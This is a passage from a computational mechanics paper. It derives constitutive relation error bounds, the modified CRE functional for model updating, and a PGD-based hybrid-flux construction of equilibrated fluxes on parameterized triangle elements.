}\\cdot \\nabla v = \\int _{\\Omega }fv + \\int _{\\Gamma _N}gv \\quad \\forall v \\in \\mathcal {U}\\right\\} \\end{aligned}\n(13)\n\nthis complementary variational principle defines the solution flux field $$\\varvec{q}=\\mathcal {K}\\varvec{\\nabla }u$$ as:\n\n\\begin{aligned} \\varvec{q}= \\arg \\, \\mathrm{{min}}_{\\varvec{\\pi }\\in \\mathcal {S}}J_2(\\varvec{\\pi }) \\, ; \\quad J_2(\\varvec{\\pi })=\\frac{1}{2}\\int _{\\Omega }\\mathcal {K}^{-1}\\varvec{\\pi }\\cdot \\varvec{\\pi }= \\frac{1}{2}|||\\varvec{\\pi }|||_{\\mathcal {S}}^2 \\end{aligned}\n(14)\n\nwhere $$|||\\bullet |||_{\\mathcal {S}}$$ is the energy norm for flux fields. A direct consequence is:\n\n\\begin{aligned} |||\\varvec{\\pi }-\\varvec{q}|||_{\\mathcal {S}}^2 = 2\\left[ J_2(\\varvec{\\pi })-J_2(\\varvec{q}) \\right] \\end{aligned}\n(15)\n\nNoticing that $$J_1(u)=-J_2(\\varvec{q})$$ leads to the property (Prager-Synge equality):\n\n\\begin{aligned} |||e|||_{\\mathcal {U}}^2= & {} 2[J_1(u_h)+J_2(\\varvec{q})] = 2[J_1(u_h)+J_2(\\varvec{\\pi })] - |||\\varvec{\\pi }-\\varvec{q}|||_{\\mathcal {S}}^2 \\nonumber \\\\= & {} 2E_{CRE}^2(u_h,\\varvec{\\pi })- |||\\varvec{\\pi }-\\varvec{q}|||_{\\mathcal {S}}^2 \\end{aligned}\n(16)\n\nwhere we introduced the CRE functional $$E_{CRE}$$ defined as:\n\n\\begin{aligned} E_{CRE}^2(v,\\varvec{\\pi }) = J_1(v)+J_2(\\varvec{\\pi }) = \\frac{1}{2}|||\\varvec{\\pi }-\\mathcal {K}\\varvec{\\nabla }v|||_{\\mathcal {S}}^2 \\quad \\forall (v,\\varvec{\\pi }) \\in \\mathcal {U}\\times \\mathcal {S}\\end{aligned}\n(17)\n\nthat measures the non-verification of the constitutive relation for any pair $$(v,\\varvec{\\pi }) \\in \\mathcal {U}\\times \\mathcal {S}$$. In the following, such a pair is referred as admissible: a field $$v \\in \\mathcal {U}$$ is said kinematically admissible (KA); a field $$\\varvec{\\pi }\\in \\mathcal {S}$$ (i.e. verifying balance equations exactly) is said statically admissible (SA). Using the CRE concept, the reference problem (6) can be formulated as:\n\n\\begin{aligned} (u,\\varvec{q})=\\mathop {\\text {arg min}}\\limits _{(v,\\varvec{\\pi }) \\in \\mathcal {U}\\times \\mathcal {S}} E_{CRE}(v,\\varvec{\\pi }) \\end{aligned}\n(18)\n\n### Remark 1\n\nFor all material models described using internal variables and standard formulation, and introducing a suitable definition of admissibility spaces, a more general local (in space and time) expression of the CRE functional reads [2, 8]:\n\n\\begin{aligned} E_{CRE}^2(X,Y) = \\phi (X)+\\phi ^{*}(Y) - \\langle X,Y \\rangle \\end{aligned}\n(19)\n\nwhere (XY) is a dual pair (with duality pairing $$\\langle X,Y\\rangle$$), and $$\\phi$$ and $$\\phi ^{*}$$ are dual (in the Legendre Fenchel sense) convex (pseudo-) potentials related to free energy or dissipation. For the present case, $$\\phi (\\varvec{\\nabla }v)=\\frac{1}{2} \\mathcal {K}\\varvec{\\nabla }v \\cdot \\varvec{\\nabla }v$$ and $$\\phi ^{*}(\\varvec{\\pi })=\\frac{1}{2}\\mathcal {K}^{-1}\\varvec{\\pi }\\cdot \\varvec{\\pi }$$.\n\nConsequently, and provided that a flux field $$\\varvec{\\pi }\\in \\mathcal {S}$$ is available, we observe from (16) that the term $$\\sqrt{2}E_{CRE}(u_h,\\varvec{\\pi })$$ is a computable upper bound on $$|||e|||_{\\mathcal {U}}$$. The quality of this bound depends on that of $$\\varvec{\\pi }$$.\n\nThe constraints in space $$\\mathcal {S}$$ make the construction of SA solutions awkward. A first possibility, which is the most effective, would consist in using a FE discretization with equilibrium elements on the complementary problem (14) (dual approach, see ). However, this is in practice unrealistic as it would require the solution of an additional global problem, with large computational efforts and non-conventional FE spaces. In “Coupling PGD with CRE in model verification” section, we present the basis of a technique (referred as hybrid-flux or EET in the literature) that enables to compute a flux field $$\\widehat{\\varvec{q}}_h \\in \\mathcal {S}$$ [and therefore the a posteriori error estimate $$\\sqrt{2}E_{CRE}(u_h,\\widehat{\\varvec{q}}_h)$$] from a post-processing of the FE field $$\\varvec{q}_h$$ at hand. The PGD strategy will be used within this technique in order to facilitate implementation issues.\n\n### Remark 2\n\nIt can be shown that using the hybrid-flux (or EET) technique to construct an admissible flux field $$\\widehat{\\varvec{q}}_h$$ enables to obtain a lower error bound from the CRE functional [2, 6]; it is of the form $$E_{CRE}(u_h,\\widehat{\\varvec{q}}_h) \\le C |||e|||_{\\mathcal {U}}$$, where C is a constant independent of the mesh size, proving that the constructed error estimate has the same convergence rate as the true discretization error.\n\n### Extension of the CRE concept for model updating: modified CRE\n\nWe now consider that the material operator $$\\mathcal {K}$$ depends on a set $$\\varvec{p}\\in \\mathcal {P}$$ of parameters to be identified from experimental measurements. To solve the associated ill-posed inverse problem, we introduce the energy-based concept of modified constitutive relation error (mCRE) [28, 45], which can be seen as a direct extension of the CRE concept developed in the previous section. The mCRE functional, still based on duality between admissible primal and dual fields $$(v,\\varvec{\\pi }) \\in \\mathcal {U}\\times \\mathcal {S}$$, is defined as:\n\n\\begin{aligned} \\mathcal {E}^2_{mCRE}(v,\\varvec{\\pi },\\varvec{p},\\varvec{s}) = \\frac{1}{2}\\left| \\left| \\left| \\varvec{\\pi }-\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }v\\right| \\right| \\right| ^2_{\\mathcal {S}} + \\frac{1}{2}\\frac{r}{1-r}\\sigma \\Vert \\varvec{\\Pi }v-\\varvec{s}\\Vert ^2_0 \\end{aligned}\n(20)\n\nwhere $$\\varvec{s}$$ is the set of experimental data, $$\\varvec{\\Pi }$$ is an extraction operator, $$\\sigma$$ is a scaling coefficient, and $$r \\in [0,1]$$. The two terms that compose the mCRE functional are modeling error term (i.e. classical CRE term) and measurement error term, respectively; these terms are weighted depending on the value of r.\n\n### Remark 3\n\nThe value of r should generally be set in regards to the a priori reliability on both model and measurements. For instance, the Morozov principle or L-curve method may be used to define r with respect to data noise. The influence of r on the sensitivity with respect to measurement uncertainties, and therefore on the quality of the updating performed using mCRE, was illustrated in .\n\nThe solution of the inverse identification problem is then defined as the result of a double minimization:\n\n\\begin{aligned} \\varvec{p}_0 = \\mathop {\\text {argmin}}\\limits _{\\varvec{p}\\in \\mathcal {P}}\\left( \\min _{(v,\\varvec{\\pi }) \\in \\mathcal {U}\\times \\mathcal {S}}\\mathcal {E}^2_{mCRE}(v,\\varvec{\\pi },\\varvec{p},\\varvec{s})\\right) \\end{aligned}\n(21)\n\nIn practice, this problem is solved using an iterative alternated minimization procedure with fixed point method as detailed in the following algorithm:\n\n### Remark 4\n\nWhen some parameters in $$\\varvec{p}$$ describe a field (material parameter field for instance), a localization step after spatial splitting of the cost function $$\\mathcal {F}(\\varvec{p})$$ can be added at the end of the first minimization (Step 2). It consists in selecting the highest local contributions to $$\\mathcal {F}(\\varvec{p})$$ and updating first the associated parameters. Moreover, a goal-oriented version of the model updating with mCRE, in which only parameters which have influence for the prediction of an output of interest are updated, can be constructed .\n\nThe mCRE formulation is thus based on a trade-off between modeling and measurement errors, which enables it to be less sensitive to noise. It inherits all the convenient properties of the CRE concept; it can be in particular extended to complex constitutive models [involving e.g. (visco)-plasticity or damage] and leads to a natural regularization.\n\nNotice to conclude that the mCRE strategy, without adding particular techniques, is costly. In particular, the iterative strategy requires to compute optimal admissible fields $$(\\widehat{u},\\widehat{\\varvec{q}})$$ at each iteration, i.e. each time $$\\varvec{p}_0$$ is updated. This can be highly facilitated using a PGD meta-model, as shown in “Coupling PGD with mCRE in model validation” section.\n\n### Coupling PGD with CRE in model verification\n\nIn this section, we explain how PGD can be advantageously used when implementing CRE for model verification (see “Basics on the CRE concept” section).\n\n#### Constructing admissible flux fields with the hybrid-flux technique\n\nWe consider the hybrid-flux (or EET) technique which enables to recover a flux field $$\\widehat{\\varvec{q}}_h \\in \\mathcal {S}$$ from a post-processing of the FE field $$\\varvec{q}_h$$, with local independent computations [2, 6, 13]. It is a domain decomposition approach that consists of two steps:\n\n1. 1.\n\nStep 1 construction of equilibrated tractions $$\\widehat{F}$$ on the boundary $$\\partial K$$ of each element $$K \\in \\mathcal {T}_h$$, with $$\\widehat{F}=g$$ if $$\\partial K \\subset \\Gamma _N$$, so that equilibration at the element level is verified:\n\n\\begin{aligned} \\int _K f + \\int _{\\partial K}\\widehat{F} =0 \\quad \\forall K \\in \\mathcal {T}_h \\end{aligned}\n(22)\n\nThe construction of $$\\widehat{F}$$ is based on the following prolongation condition:\n\n\\begin{aligned} \\int _K(\\widehat{\\varvec{q}}_h-\\varvec{q}_h) \\cdot \\varvec{\\nabla }\\phi _i =0 \\Longrightarrow \\int _{\\partial K} \\widehat{F} \\phi _i = \\int _K (\\varvec{q}_h \\cdot \\varvec{\\nabla }\\phi _i - f\\phi _i) \\end{aligned}\n(23)\n\napplied to each element $$K \\in \\mathcal {T}_h$$ and each FE node i connected to K; $$\\phi _i$$ is the FE shape function associated to node i. This condition automatically yields equilibrated tractions $$\\widehat{F}$$ and leads to the solution of local well-posed systems over patches of elements connected to each node i. In practice, tractions $$\\widehat{F}$$ are found as linear combinations of functions $$\\phi _i$$. All technical details on the construction of $$\\widehat{F}$$ can be found in [2, 20].\n\n2. 2.\n\nStep 2 local construction, for given tractions $$\\widehat{F}$$ and over each element $$K \\in \\mathcal {T}_h$$, of $$\\widehat{\\varvec{q}}_{h}$$ solving the following Neumann problem:\n\n\\begin{aligned} -\\varvec{\\nabla }\\cdot \\widehat{\\varvec{q}}_{h}= & {} f \\quad \\text {in}\\; K \\quad \\Longleftrightarrow \\; \\int _K \\widehat{\\varvec{q}}_{h} \\cdot \\varvec{\\nabla }v = \\int _K fv + \\int _{\\partial K}\\widehat{F} v \\quad \\forall v \\in H^1(K) \\nonumber \\\\ \\widehat{\\varvec{q}}_{h}\\cdot \\varvec{n}= & {} \\widehat{F} \\quad \\text {on}\\; \\partial K \\end{aligned}\n(24)\n\nThe solution of (24) to get $$\\widehat{\\varvec{q}}_{h|K}$$ may be performed analytically, using polynomial functions with sufficiently high degree, provided the source term f is polynomial as well . In practice, an alternative approach with numerical solution is preferred. For fixed tractions $$\\widehat{F}$$, the optimal admissible flux $$\\widehat{\\varvec{q}}_h$$ inside each element K is the one that minimizes the local error estimate on K $$|||\\widehat{\\varvec{q}}-\\varvec{q}_h|||_{\\mathcal {S},K}$$ (or equivalently $$|||\\widehat{\\varvec{q}}|||_{\\mathcal {S},K}$$) among all fluxes $$\\widehat{\\varvec{q}}$$ verifying (24). Duality arguments show that this is equivalent to taking $$\\widehat{\\varvec{q}}_{h|K} =\\mathcal {K}\\varvec{\\nabla }\\rho$$, with $$\\rho \\in H^1(K)$$ verifying:\n\n\\begin{aligned} \\int _K \\mathcal {K}\\varvec{\\nabla }\\rho \\cdot \\varvec{\\nabla }v = \\int _K f v + \\int _{\\partial K}\\widehat{F} v \\quad \\forall v \\in H^1(K) \\end{aligned}\n(25)\n\nA numerical approximation of the solution of (25) (defined up to an additive constant) can be obtained using the FEM with a single finite element of high degree $$p+k$$, where p denotes the polynomial degree used to compute $$u_h \\in \\mathcal {U}_h$$ and k denotes the extra degree. Numerical studies performed in showed that analytical and numerical approaches give similar CRE error estimates choosing $$k\\ge 3$$, even though the flux field is not rigorously equilibrated in each element K with the latter approach. We consider the numerical approach in the following.\n\nSolving (25) is in practice the most costly part in the hybrid-flux method (in particular for 3D applications), as it involves high-order elements and has to be performed for each element K. We wish to use the PGD technique in order to find, in an offline phase, a parameterized solution to (25), valid for any configuration of the geometry and the loading. From equilibrated tractions computed in Step 1 and with respect to problem data (material parameters, mesh geometry, ...), this PGD solution would then be directly used in the online error estimation phase for each element K of the mesh.\n\n#### Use of the PGD to solve problems at the element level\n\nIn the following:\n\n• We consider that the material behavior is isotropic and that material parameters are constant over each element K, so that their values have no influence on $$\\widehat{\\varvec{q}}_{h|K}$$; we thus set $$\\mathcal {K}=\\mathbb {I}$$ when solving (25) and define $$\\widehat{\\varvec{q}}_{h|K} =\\varvec{\\nabla }\\rho$$. In cases where $$\\mathcal {K}$$ is not constant over each element, its evolution could be parameterized and additional material parameters would be introduced in the PGD decomposition;\n\n• We consider, as an illustrative example, the case of 3-node triangle elements (Fig. 1). Nevertheless, the proposed strategy is generic (based on element shape functions and nodes coordinates alone) and can be straightforwardly applied to other elements.\n\nOn each edge $$\\Gamma ^{jl}$$ between vertices j and l of any element K, tractions are linear combinations of FE shape functions and thus read, for the considered element type, $$\\widehat{F}^{jl}(\\varvec{x})=\\widehat{F}_j^{jl}\\phi _j(\\varvec{x})+\\widehat{F}_l^{jl}\\phi _l(\\varvec{x})$$ with $$\\left( \\widehat{F}_j^{jl},\\widehat{F}_l^{jl}\\right) \\in \\mathbb {R}^2$$. Consequently, the solution $$\\rho$$ to (25) can be written as a linear combination of elementary solutions:\n\n\\begin{aligned} \\rho (\\varvec{x}) = \\sum _{(j,l)} \\left[ \\widehat{F}_j^{jl} \\rho _j^{jl}(\\varvec{x})+\\widehat{F}_l^{jl} \\rho _l^{jl}(\\varvec{x})\\right] \\end{aligned}\n(26)\n\nwhere $$\\rho _\\ell ^{jl}$$ ($$\\ell =j,l$$) is the solution (up to a constant) to the elementary problem:\n\n\\begin{aligned} \\int _K \\varvec{\\nabla }\\rho _\\ell ^{jl} \\cdot \\varvec{\\nabla }v = \\int _{\\Gamma ^{jl}}\\phi _\\ell v - \\int _K \\frac{1}{|K|}\\left( \\int _{\\Gamma ^{jl}}\\phi _\\ell \\right) v \\quad \\forall v \\in H^1(K) \\end{aligned}\n(27)\n\nIn the present case, there are 6 elementary problems.\n\n### Remark 5\n\nConsidering elasticity problems, (25) is changed in:\n\n\\begin{aligned} \\int _K \\mathcal {K}\\underline{\\underline{\\nabla }}^s \\varvec{\\rho } : \\underline{\\underline{\\nabla }}^s \\varvec{v} = \\int _K \\varvec{f} \\cdot \\varvec{v} + \\int _{\\partial K}\\widehat{\\varvec{F}} \\cdot \\varvec{v} \\quad \\forall \\varvec{v} \\in [H^1(K)]^d \\end{aligned}\n(28)\n\nwhere $$\\mathcal {K}$$ is the fourth-order symmetric elasticity tensor and $$\\underline{\\underline{\\nabla }}^s$$ is the symmetric part of the matrix gradient operator. For 3-node triangle elements, tractions on each edge $$\\Gamma ^{jl}$$ of K read $$\\widehat{\\varvec{F}}^{jl}(\\varvec{x})=\\widehat{\\varvec{F}}_j^{jl}\\phi _j(\\varvec{x})+\\widehat{\\varvec{F}}_l^{jl}\\phi _l(\\varvec{x})$$ or:\n\n\\begin{aligned} \\widehat{\\varvec{F}}^{jl}(\\varvec{x})=\\widehat{F}_{jx}^{jl}\\varvec{\\phi }^x_j(\\varvec{x}) + \\widehat{F}_{jy}^{jl}\\varvec{\\phi }^y_j(\\varvec{x}) + \\widehat{F}_{lx}^{jl}\\varvec{\\phi }^x_l(\\varvec{x}) + \\widehat{F}_{ly}^{jl}\\varvec{\\phi }^y_l(\\varvec{x}) \\end{aligned}\n(29)\n\nwith $$\\widehat{\\varvec{F}}^{jl}_\\ell = \\left( \\widehat{{F}}^{jl}_{\\ell x},\\widehat{{F}}^{jl}_{\\ell y}\\right) ^T$$, $$\\varvec{\\phi }^x_\\ell (\\varvec{x})=(\\phi _\\ell (\\varvec{x}),0)^T$$ and $$\\varvec{\\phi }^y_\\ell (\\varvec{x})=(0,\\phi _\\ell (\\varvec{x}))^T$$ ($$\\ell =j,l$$). We thus introduce solutions, defined up to a rigid body motion, to the following elementary problems [generalization of (27)]:\n\n\\begin{aligned} \\int _K \\mathcal {K}\\underline{\\underline{\\nabla }}^s \\varvec{\\rho }_\\ell ^{jl,x/y} : \\underline{\\underline{\\nabla }}^s \\varvec{v} = \\int _{\\Gamma ^{jl}}\\varvec{\\phi }^{x/y}_\\ell \\cdot \\varvec{v} - \\int _K (\\varvec{a}_1 \\wedge \\varvec{X} + \\varvec{a}_2) \\cdot \\varvec{v} \\quad \\forall \\varvec{v} \\in [H^1(K)]^2 \\end{aligned}\n(30)\n\nwhere $$\\varvec{X}$$ are barycentric coordinates in element K, and $$\\varvec{a}_1$$ and $$\\varvec{a}_2$$ are defined as:\n\n\\begin{aligned} \\varvec{a}_1 = \\frac{\\left( \\int _{\\Gamma ^{jl}}\\varvec{X} \\wedge \\varvec{\\phi }^{x/y}_\\ell \\right) \\cdot \\varvec{z}}{\\int _K\\varvec{X} \\cdot \\varvec{X}} \\varvec{z}; \\quad \\varvec{a}_2 = \\frac{1}{|K|}\\int _{\\Gamma ^{jl}}\\varvec{\\phi }^{x/y}_\\ell \\end{aligned}\n(31)\n\nwith $$\\varvec{z}$$ the orthonormal vector to the 2D plane. The solution $$\\varvec{\\rho }$$ to (28) is then recovered as:\n\n\\begin{aligned} \\varvec{\\rho }(\\varvec{x}) = \\sum _{(j,l)}\\left[ \\widehat{F}_{jx}^{jl} \\varvec{\\rho }_j^{jl,x}(\\varvec{x})+\\widehat{F}_{jy}^{jl} \\varvec{\\rho }_j^{jl,y}(\\varvec{x})+\\widehat{F}_{lx}^{jl} \\varvec{\\rho }_l^{jl,x}(\\varvec{x})+\\widehat{F}_{ly}^{jl} \\varvec{\\rho }_l^{jl,y}(\\varvec{x})\\right] \\end{aligned}\n(32)\n\nThe solution $$\\rho _\\ell ^{jl}$$ to each problem (27) can be computed with the PGD technique, for any element K, parameterizing the geometry of K with a set of parameters $$\\varvec{p}_{geo} \\in \\mathcal {P}$$. Following the approach described in , we reformulate the weak problem (27) by introducing a parameter-dependent mapping $$\\mathcal {M}(\\varvec{p}_{geo}):K_{ref} \\rightarrow K(\\varvec{p}_{geo})$$ from a reference fixed element $$K_{ref}$$ to the geometrically parameterized element $$K(\\varvec{p}_{geo})$$. Such a geometrical transformation then allows defining the weak problem in a tensor product space and applying the PGD method, in order to compute generic parameterized solutions $$\\rho _\\ell ^{jl}(\\varvec{p}_{geo})$$ which can be used for any element geometry.\n\n### Remark 6\n\nIn the presence of geometrical variabilities, an alternative approach described in [54, 55] could also be used. It consists in embedding the parameterized domain into a fixed fictitious domain.\n\nIn the present case, the mapping is defined from three parameters (Fig. 2):\n\n• A first scaling mapping $$\\mathcal {M}_1:\\overline{K} \\rightarrow K$$ maps a homothetic element $$\\overline{K}$$ with diameter 1 to the actual element K with diameter $$\\alpha$$. This mapping reads:\n\n\\begin{aligned} \\left( \\begin{array}{c}x \\\\ y \\end{array}\\right) = \\mathbb {T}_1\\left( \\begin{array}{c}\\overline{x} \\\\ \\overline{y} \\end{array}\\right) \\, ; \\quad \\mathbb {T}_1 = \\left[ \\begin{array}{c@{\\quad }c}\\alpha &{} 0\\\\ 0 &{} \\alpha \\end{array}\\right] = \\alpha \\mathbb {I}\\end{aligned}\n(33)\n• A second linear mapping $$\\mathcal {M}_2:K_{ref} \\rightarrow \\overline{K}$$ maps a reference element $$K_{ref}$$ (right-angled isosceles triangle) to element $$\\overline{K}$$. This mapping reads, using an isoparametric formulation:\n\n\\begin{aligned} \\left( \\begin{array}{c} \\overline{x} \\\\ \\overline{y} \\end{array}\\right) = \\left( \\begin{array}{c} \\phi _2(\\eta ,\\xi ) + \\overline{x}_3 \\phi _3(\\eta ,\\xi ) \\\\ \\overline{y}_3 \\phi _3(\\eta ,\\xi ) \\end{array}\\right) = \\mathbb {T}_2\\left( \\begin{array}{c} \\eta \\\\ \\xi \\end{array}\\right) \\, ; \\quad \\mathbb {T}_2 = \\left[ \\begin{array}{c@{\\quad }c} 1 &{} \\overline{x}_3\\\\ 0 &{} \\overline{y}_3 \\end{array}\\right] \\end{aligned}\n(34)\n\nwhere $$(\\overline{x}_3,\\overline{y}_3)$$ are local coordinates of node 3 in the coordinates system associated with element $$\\overline{K}$$, and $$(\\eta ,\\xi )$$ are local coordinates in the coordinates system associated with element $$K_{ref}$$ (see Fig. 2).\n\nIt thus involves 3 parameters and leads to the global mapping:\n\n\\begin{aligned} \\mathcal {M}\\left( \\alpha , \\overline{x}_3,\\overline{y}_3 \\right) = \\mathcal {M}_1(\\alpha ) \\circ \\mathcal {M}_2(\\overline{x}_3,\\overline{y}_3) \\end{aligned}\n(35)\n\nwith transformation matrix $$\\mathbb {T}(\\alpha , \\overline{x}_3,\\overline{y}_3)=\\alpha \\mathbb {T}_2(\\overline{x}_3,\\overline{y}_3)$$, Jacobian matrix $$\\mathbb {J}=\\mathbb {T}$$, and Jacobian $$J=det(\\mathbb {J})=\\alpha ^2 \\overline{y}_3$$.\n\nIntroducing $$\\varvec{x}_{ref}=\\left( \\begin{array}{c}\\eta \\\\ \\xi \\end{array}\\right)$$, approximations of solutions $$\\rho ^{jl}_\\ell \\left( \\varvec{x}_{ref},\\alpha ,\\overline{x}_3,\\overline{y}_3 \\right)$$ are computed offline and once for all using the PGD technique with variable-separated modal decomposition. The parameter $$\\alpha$$ is included only for completeness of the description; it acts as a multiplicative constant in the solution $$\\rho$$ and disappears when computing $$\\widehat{\\varvec{q}}_{h|K} =\\mathcal {K}\\varvec{\\nabla }\\rho$$. PGD solutions thus read:\n\n\\begin{aligned} \\rho ^{jl}_{\\ell ,m} \\left( \\varvec{x}_{ref},\\alpha ,\\overline{x}_3,\\overline{y}_3 \\right) = \\alpha \\sum _{i=1}^m\\psi _i(\\varvec{x}_{ref}) \\delta ^x_i(\\overline{x}_3) \\delta ^y_i(\\overline{y}_3) \\end{aligned}\n(36)\n\n### Remark 7\n\nThe number of elementary problems (27) and the number of geometrical parameters involved in the mapping $$\\mathcal {M}$$ depend on the FE element type; for instance, 6-node triangle elements would involve 9 elementary problems (3 for each of the three edges) and 9 geometrical parameters (12 degrees of freedom with three rigid body motions), whereas 4-node tetrahedron elements would involve 12 elementary problems (3 for each of the four edges) and 6 geometrical parameters (12 degrees of freedom with six rigid body motions).\n\n#### Implementation of the PGD\n\nThe progressive Galerkin approach described in “Background” section is used with bilinear form B and linear form F constructed from the parameterized separated variable Jacobian transformation (all technical details can be found in [51, 52]). Introducing the interval $$I_{\\alpha }$$ (resp. $$I_{\\overline{x}_3}$$ and $$I_{\\overline{y}_3}$$) in which $$\\alpha$$ (resp. $$\\overline{x}_3$$ and $$\\overline{y}_3$$) evolves, these forms read:\n\n\\begin{aligned}&B(\\rho _{\\ell }^{jl},v) = \\int _{I_{\\alpha }}\\int _{I_{\\overline{x}_3}}\\int _{I_{\\overline{y}_3}}\\int _{K_{ref}}J. \\mathbb {J}^{-T}\\varvec{\\nabla }\\rho _\\ell ^{jl} \\cdot \\mathbb {J}^{-T}\\varvec{\\nabla }v \\nonumber \\\\&F(v) = \\int _{I_{\\alpha }}\\int _{I_{\\overline{x}_3}}\\int _{I_{\\overline{y}_3}}\\left[ \\int _{\\Gamma ^{jl}_{ref}}J_s \\phi _\\ell v - \\int _{K_{ref}} J.\\frac{1}{|K|}\\left( \\int _{\\Gamma ^{jl}}\\phi _\\ell \\right) v \\right] \\end{aligned}\n(37)\n\nSpace functions $$\\psi _i(\\varvec{x}_{ref})$$ in (36) are computed using the FEM with a single element of degree $$p+k$$. Other functions are discretized using a fine grid over spaces $$I_{\\alpha }$$, $$I_{\\overline{x}_3}$$, and $$I_{\\overline{y}_3}$$.\n\n### Remark 8\n\nThe number m of PGD modes which is required to get accurate solutions $$\\rho ^{jl}_{\\ell ,m}$$ can be rigorously defined using classical a posteriori error estimation tools devoted to PGD [36, 37, 56, 57]. A numerical assessment of the value m that yields sufficient accuracy is provided in “CRE estimate obtained from EET-PGD” section.\n\n### Remark 9\n\nIn order to save computational time and storage needs, symmetries in the local parameterized solutions $$\\rho ^{jl}_\\ell$$ can be used. For instance, the relation $$\\rho ^{12}_1 \\left( \\eta ,\\xi ,\\alpha ,\\overline{x}_3,\\overline{y}_3 \\right) =\\rho ^{12}_2 \\left( 1-\\eta ,\\xi ,\\alpha ,1-\\overline{x}_3,\\overline{y}_3 \\right)$$ holds.\n\nThe PGD technique thus provides for a parameterized equilibrated flux field at the element level:\n\n\\begin{aligned}&\\widehat{\\varvec{q}}_{h,m|K}\\left( \\varvec{x}_{ref}, \\left\\{ \\widehat{F}^{jl}_\\ell \\right\\} ,\\alpha ,\\overline{x}_3,\\overline{y}_3 \\right) \\nonumber \\\\&\\quad = \\mathbb {J}^{-T}(\\alpha ,\\overline{x}_3,\\overline{y}_3)\\varvec{\\nabla }\\left( \\sum _{(j,l)}[\\widehat{F}_j^{jl} \\rho _{j,m}^{jl}(\\varvec{x}_{ref},\\alpha ,\\overline{x}_3,\\overline{y}_3)+\\widehat{F}_l^{jl} \\rho _{l,m}^{jl}(\\varvec{x}_{ref},\\alpha ,\\overline{x}_3,\\overline{y}_3)] \\right) \\end{aligned}\n(38)\n\nwhich can be directly used online in the a posteriori error estimation procedure.\n\n### Remark 10\n\nAnother study, which is not considered here, would benefit from the PGD representation $$\\widehat{\\varvec{q}}_{h,m|K} \\left( \\varvec{x}_{ref}, \\left\\{ \\widehat{F}^{jl}_\\ell \\right\\} ,\\alpha ,\\overline{x}_3,\\overline{y}_3 \\right)$$. It addresses the optimization of equilibrated tractions $$\\left\\{ \\widehat{F}^{jl}_\\ell \\right\\}$$ considering a global problem in which the complementary energy is minimized. This procedure, first developed in , is very costly in the general case but can be highly facilitated by the explicit dependency on $$\\left\\{ \\widehat{F}^{jl}_\\ell \\right\\}$$ provided by the PGD.\n\n### Coupling PGD with mCRE in model validation\n\nIn this section, we explain how PGD can be advantageously used when implementing mCRE for model updating (see “Extension of the CRE concept for model updating: modified CRE” section).\n\n#### Performing minimizations in the mCRE method\n\nThe constrained minimization of the mCRE method (Step 2 in the algorithm given in “Extension of the CRE concept for model updating: modified CRE” section) is in practice performed finding the saddle-point of the following Lagrangian functional:\n\n\\begin{aligned} \\mathcal {L}(v,\\varvec{\\pi },\\varvec{p},\\lambda ) = \\mathcal {E}^2_{mCRE}(v,\\varvec{\\pi },\\varvec{p},\\varvec{s}) - \\left[ \\int _{\\Omega }\\varvec{\\pi }\\cdot \\varvec{\\nabla }\\lambda - \\int _{\\Omega }f\\lambda - \\int _{\\Gamma _N}g\\lambda \\right] \\end{aligned}\n(39)\n\nfor all $$(v,\\varvec{\\pi },\\lambda ) \\in \\mathcal {U}\\times H(div,\\Omega ) \\times \\mathcal {U}$$. It leads to the solution $$\\left( \\widehat{u},\\widehat{\\varvec{q}},\\widehat{\\lambda } \\right)$$ of the coupled system:\n\n\\begin{aligned} \\int _{\\Omega }\\left( \\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\widehat{u} - \\widehat{\\varvec{q}}\\right) \\cdot \\varvec{\\nabla }v + \\frac{r}{1-r}\\sigma \\left( \\varvec{\\Pi }\\widehat{u} - \\varvec{s}\\right) \\cdot \\varvec{\\Pi }v= & {} 0 \\quad \\forall v \\in \\mathcal {U}\\nonumber \\\\ \\int _{\\Omega }\\left( \\widehat{\\varvec{q}} - \\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\widehat{u}\\right) \\cdot \\mathcal {K}^{-1}(\\varvec{p})\\varvec{\\pi }- \\int _{\\Omega }\\varvec{\\nabla }\\widehat{\\lambda } \\cdot \\varvec{\\pi }= & {} 0 \\quad \\forall \\varvec{\\pi }\\in H(div,\\Omega ) \\nonumber \\\\ \\int _{\\Omega }\\widehat{\\varvec{q}} \\cdot \\varvec{\\nabla }\\lambda - \\int _{\\Omega }f\\lambda - \\int _{\\Gamma _N}g\\lambda= & {} 0 \\quad \\forall \\lambda \\in \\mathcal {U}\\end{aligned}\n(40)\n\nThe second relation yields $$\\widehat{\\varvec{q}}=\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\left( \\widehat{u}+\\widehat{\\lambda }\\right)$$, and $$(\\widehat{u},\\widehat{\\lambda })$$ is obtained solving:\n\n\\begin{aligned} -\\int _{\\Omega }\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\widehat{\\lambda } \\cdot \\varvec{\\nabla }v + \\frac{r}{1-r}\\sigma \\varvec{\\Pi }\\widehat{u} \\cdot \\varvec{\\Pi }v= & {} \\frac{r}{1-r}\\sigma \\varvec{s}\\cdot \\varvec{\\Pi }v \\quad \\forall v \\in \\mathcal {U}\\nonumber \\\\ \\int _{\\Omega }\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\left( \\widehat{u}+\\widehat{\\lambda }\\right) \\cdot \\varvec{\\nabla }\\lambda= & {} \\int _{\\Omega }f\\lambda + \\int _{\\Gamma _N}g\\lambda \\quad \\forall \\lambda \\in \\mathcal {U}\\end{aligned}\n(41)\n\nThe gradient of the cost function $$\\mathcal {F}(\\varvec{p})$$, which is required when performing the second minimization with first order strategies, is then easily computed using the adjoint state method, as $$\\varvec{\\nabla }\\mathcal {F}(\\varvec{p})=\\varvec{\\nabla }_{\\varvec{p}}\\mathcal {L}\\left( \\widehat{u},\\widehat{\\varvec{q}},\\varvec{p},\\widehat{\\lambda }\\right)$$.\n\n### Remark 11\n\nUsually, the discretization error is assumed to be negligible in the mCRE formulation (it can be anyway controlled using classical verification procedures, see ) so that a discretized version of (21) can be written using FEM, and model updating is applied directly to the discretized representation. In particular, the strong equilibrium conditions involved in the admissibility space $$\\mathcal {S}$$ are replaced by weaker equilibrium conditions, in the FE sense only. We start from the following definitions:\n\n• The discretized field $$\\varvec{V}$$ is KA if it verifies the (discretized) kinematic constraints of (6), so that it contains prescribed dofs. The associated admissibility space is denoted $$\\varvec{\\mathcal {U}}_h$$;\n\n• The discretized field $$\\varvec{W}$$ is SA if it verifies the FE equilibrium equations 